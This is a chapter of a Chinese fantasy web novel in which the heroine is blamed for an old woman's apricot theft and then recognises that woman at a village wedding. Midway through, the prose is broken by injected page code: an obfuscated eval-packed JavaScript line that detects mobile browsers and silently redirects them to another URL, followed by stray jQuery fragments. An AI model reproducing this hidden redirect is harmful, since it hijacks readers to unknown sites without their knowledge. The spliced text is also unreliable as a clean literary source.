23. 背锅

见隐隐神气的迈着脚步走来,麦玧芝不知为何却不怎么相信这饼可以驱除他们体内的残余毒气。


“我都吃过了,你们看看我的脸色,是不是白里透着红,精神饱满,斗志昂扬的!”隐隐扬起脑袋,很是自傲。


郑其进从隐隐手中拿过一张圆饼,“管它能不能解残毒,先垫饱肚子再说。”


他咬了一口手上的饼,自己找了一棵树,坐在地上倚着树大口大口的吃起来。


“麦姐姐,你快尝尝,可好吃啦!”隐隐递给她一块饼。


麦玧芝肚子确实饿了,只是这饼她不敢吃,以往都是因为吃东西而差点丢命的教训就在不久前,她摇头拒绝。


隐隐跑到伯墨居所在的树下,举起手中的面饼,“大哥哥,你吃一块吧!真的可好吃了!”


“不用了隐隐,你自己留着吃吧!”伯墨居翘起二郎腿,躺在树上很是惬意。


隐隐只好失望的跑到郑其进身边,“郑哥哥,我们俩吃。”


麦玧芝的肚子咕噜噜不适时宜的响了起来,见隐隐咬着手中的饼转头看她,她则低头看向身前的茅星澜。


她看到茅星澜眨了眨眼睛,麦玧芝才如释重负,“茅姑娘,你醒了?有没有感觉哪里不舒服?”


茅星澜慢慢坐起来,她对麦玧芝摇摇头。


一旁吃饼的隐隐,嘴里衔着饼就冲了过来,她将手中那剩余的三张饼递到茅星澜的面前,“茅姐姐,你饿了吧,赶快吃一口饼吧!”


隐隐眨巴着眼睛,认真的看着茅星澜。


茅星澜坐直身子,对她笑笑,拿过一张饼,“谢谢隐隐!”


她的声音很虚弱,麦玧芝盯着她手中的饼,又想吃又不敢吃,纠结一番之后,她还是选择不吃,独自起身溜达到了一边。


这片林子旁边就是村庄,不远处的房子里还时不时的有孩子的嬉笑声传来。


孩子?她突然想起虎泉镇的老人和孩子,那些百姓都回家了吗?还有那些可恶的士兵,都怎么处理的?


她不知道自己怎么就突然对百姓的安危那么的关心,不知是一时心血来潮,还是心底有什在催动她。


想要知道结果的她,走近伯墨居身下的那棵树,听到树上隐有呼噜声,麦玧芝喊了一声,“伯墨居?”


树上的人睡着了,根本就听不见她的喊声,麦玧芝扭头看看吃饼吃的一脸享受的三人,心里不觉有些烦躁。


她漫无目的的往前走,往树林的深处走,抬头随意欣赏着迎风而舞的树叶。


绿色斑斑的树叶下,突然有几许黄色自绿色中闪着熠熠的光芒闯入视线,她仰头望着,嘴角不觉就流下了口水。


一个背着脊筐的老人远远走过来,和蔼的笑看着她,“姑娘,是想吃杏了吧?”


麦玧芝看过去,见老人正看着自己,她有点不好意思的抹去口水,点点头。


原来这个金黄的果子叫杏!


老人放下背上的脊筐,撸起袖子,就要爬那大腿粗的杏树。


麦玧芝忙上前拉住,“老人家,可使不得,您年纪大了,爬树多危险啊!还…是我来吧!”


“瞧瞧,多懂事的姑娘!好,那你来吧!”老人笑眯眯的,越看这小姑娘越发喜欢。


麦玧芝虽然没有信心能一口气爬上树去,但她比之前爬树的时候多了很多经验。


两手攀住树身,两脚先后一踩,一步一步往上攀爬。


树下的老太太看着她爬树那弓腰的别扭样子,笑出声来,“姑娘,你没爬过树吧,还是下来,我来吧!”


“没事,我…可以!”她不能下去,她得摘了杏填饱肚子,要不就真要饿惨了。


她不顾擦拭额头上滚动的汗珠,专心的往上爬,只是身旁却有个爬树的身影超越了她。


她看过去,只见那老人等不及的已经爬上了与杏树相邻的那棵树,而她爬树的速度之快不亚于一个猴子。


麦玧芝望着老人那矫健的爬树身姿,有点自惭形秽,她怎么还不如一个老人身手敏捷呢?


她要加快速度证明自己,她收回惊讶又艳羡的目光,接着向杏树上方爬去。


她刚爬到树杈上,就见老人已经摘了一衣兜的杏滑下树来。


老人笑望着她,指着衣襟里金灿灿的杏,笑着,“姑娘,快下来吃吧!”


这老人不会是猴子变的吧,怎么爬树下树都能这么如履平地的熟练。


麦玧芝对老人微笑,“我马上就能摘到了,老人家您先吃吧!”


老太太看这姑娘身上有股子掘劲,半是欣赏半是皱眉的哀叹一声,“女孩子太逞强了可不是好事,男人可不会心疼。”


她似在自说自话,又像是在告诫树上的姑娘。


麦玧芝只顾伸手去抓眼前闪的人一脸金光的杏,没听清老人在说什么。


第一个杏子刚摘到手,就听一个声音破口大骂,“是谁家的孬孙,偷我家的杏,还不快点给我滚下来!”


麦玧芝听到骂声,暗叫不好,怕是这棵杏树的主人抓贼来了。


于是顾不上摘第二个杏,她就快速从树上退下来,只是树枝勾住了她的袖子,她只得又爬上去,将袖子从树枝上解下来,再下树。


这一耽搁,那杏树的主人就赶了上来,她气喘吁吁的指着半树腰的姑娘,唾沫乱飞的大骂,“你个不要脸的东西,干啥不好,非要偷别人家的东西吃,也不怕嘴上生脓生疮!”


这妇人骂人的话也太难听了吧?摘了她家一个杏而已,怎么就不要脸了呢?


再说偷杏的又不是她一个,要骂也是两个一起骂,这妇人为啥非逮着自己骂不可?


见妇人伸手就要抓她,她抱着树又往上爬了爬,直到妇人再怎么踮脚伸手都够不到她的衣角,才停下。


缓了口气,麦玧芝毕竟摘了人家的东西,就算人家骂两句也算正常,先道个歉,让人家消消气再说。


“这位大姐,我只是摘了你家一个杏尝尝味道,那个老人家可摘了一衣兜呢?”她目光往下转,地上只有一个胖妇人,哪里还有那老人的影子,就连地上的脊筐也都消失不见了。


那老人早就溜的无影无踪了。


一声咆哮吓飞了一群林中鸟,“偷了我一整树的杏,你还不承认,看我不抓住你,剥开你的肚子,让你还不承认!”


这妇人的嗓门比雷声还要震耳,麦玧芝只觉一阵耳鸣,见那胖妇人在下边撸起袖子的凶恶样,她一时间上下不得,只得挂在树上。


“麦姐姐,你偷人家的杏了?”隐隐嘴里嚼着饼小跑过来。


她身后跟着脸色还有些紫色痕迹的茅星澜,茅星澜身后紧跟着的是一副凑热闹样子的郑其进。


伯墨居没来?不会是在树上还没醒吧?


麦玧芝见他们走到树下,心里多少有了些底气,只是她还是半挂在树上,对他们解释,“我就摘了一个杏,那个老人摘了一兜子呢!只不过,她跑的快,我遭了殃……”


“咦…我最看不起你们这些人,敢做不敢当,敢偷不敢承认,你别看你们人多,你就有恃无恐,待我去叫人来,看不把你们给打扁!”妇人见他们人多,忙转身朝着村子跑去。


郑其进见这妇人把他们几个都骂了进去,朝着那一路小跑的胖身影唾了一口。


“麦姐姐,你快下来赶紧跑呀!”隐隐焦急喊道。


麦玧芝举起手中那棵孤单的杏,再想想自己干瘪的肚子,顿觉满腹委屈,“我只是摘了一个杏,为什么要跑?赔给她钱就是了。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281235|166827||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


她慢慢悠悠地从树上下来,小心地握着那棵杏,倔强的不肯走。


“等会儿,一村人都来了,我们仙门有铁律,不能平白无故伤害人间百姓,不然就要受罚,要被抽仙弦的!”郑其进还是觉得跑为上策。


茅星澜也焦急劝道:“是啊,麦姑娘,我们不能对凡人动手,不然会被重罚的!”


隐隐害怕的东张西望,“麦姐姐,我们双拳难敌四手,还是快点跑吧!”


麦玧芝这才不情愿的跟着他们快跑着离开。


刚跑到树下,隐隐就大喊,“大哥哥,快醒醒,我们得抓紧走了!”


伯墨居倒是机灵,一个翻身就从树上跳了下来,“为何?”


三人齐齐看向麦玧芝,她只好举起手中的杏,对他解释,“我只是摘了一个杏,那老人家摘了一兜子,她先跑了,我被现场抓住,之后……“”


“之后便背了个大锅!”伯墨居肯定说。


“嗯。”麦玧芝点头。


伯墨居拍了拍衣衫,不急不缓的说:“确实该走了!”


“可若是就这么走了,那不就等于承认那一树的杏就都是我偷的了吗?”麦玧芝可不想背负这样的骂名,这样名实不符。


伯墨居停下脚步,笑了,“你不会以为天下所有的冤枉事都能真相大白于天下吧?”


“为何不能?我明明就只摘了一个!”她很是不解。


“要证明的话,你可以选择留下,证明自己,隐隐,我们先走吧!”伯墨居丢下这句话,牵着隐隐走的飞快。


郑其进紧随其后。


茅星澜劝说,“麦姑娘,你身上带钱了吗?”


麦玧芝摇头。


“那人家可能会将你绑起来,交给官府,官府有可能会打你板子…”茅星澜为她科普人间的规则。


绑起来?还要打板子?麦玧芝又看了看手中的那颗杏,觉得还是跑为好。


“那咱们赶紧跑吧!”她拉起茅星澜跑的飞快。


幸好茅星澜身上的毒已经解了,她才能拉着麦玧芝的胳膊快速追上了前面的三人。


几人跑了一段路,在一个村庄前休息,这个村庄里到处贴着红纸,还隐有敲锣打鼓的声音传来。


“像是有人成亲!”郑其进看到红纸就联想到人间的婚礼。


“哇!我要吃喜糖!”隐隐有些迫不及待。


这时,有两个衣衫褴褛的人从他们的身边路过,其中一个人说,“听说,这个村里今天有喜事,咱们哥俩今日又能蹭上酒喝啦!”


“是啊,办喜事的人家多半不会赶人,要是碰上个富贵户,不光有酒喝,可能还会有大鱼大肉也说不定呢,哈哈哈哈!”


两人笑着走进村子。


听到两人的对话,隐隐有些待不住了,“他们这样的都能给吃的,那人家肯定也会给我们的!”隐隐得了这个结论,蹦蹦跳跳地就跟着那两人进了村子。


郑其进更喜欢凑热闹,立即快步跟了去。


茅星澜拉拉麦玧芝的衣袖,“难得遇到喜庆之事,不如我们也去沾沾喜气?”


“好啊!”比起凑热闹,沾喜气,麦玧芝更关心的是填饱肚子。


伯墨居跟在最后,摇头看着四人的背影,轻叹一声,也跟了过去。


穿过街道,入目的便是围观的人群,正赶上新郎背新娘下轿,围观的人一片叫好,跟着一对新人走进了一座宽敞的院子。


院子里铺着红毯,屋门上贴着大红的对联,屋门口摆着一张桌子,两位老人端坐在上。


随着一拜天地,二拜高堂的洪亮声音响起,透过人群,麦玧芝竟发现那端坐在上位的老人有些眼熟。


她盯着那喜笑颜开的老人看了很久,这不就是那个偷杏的老人吗?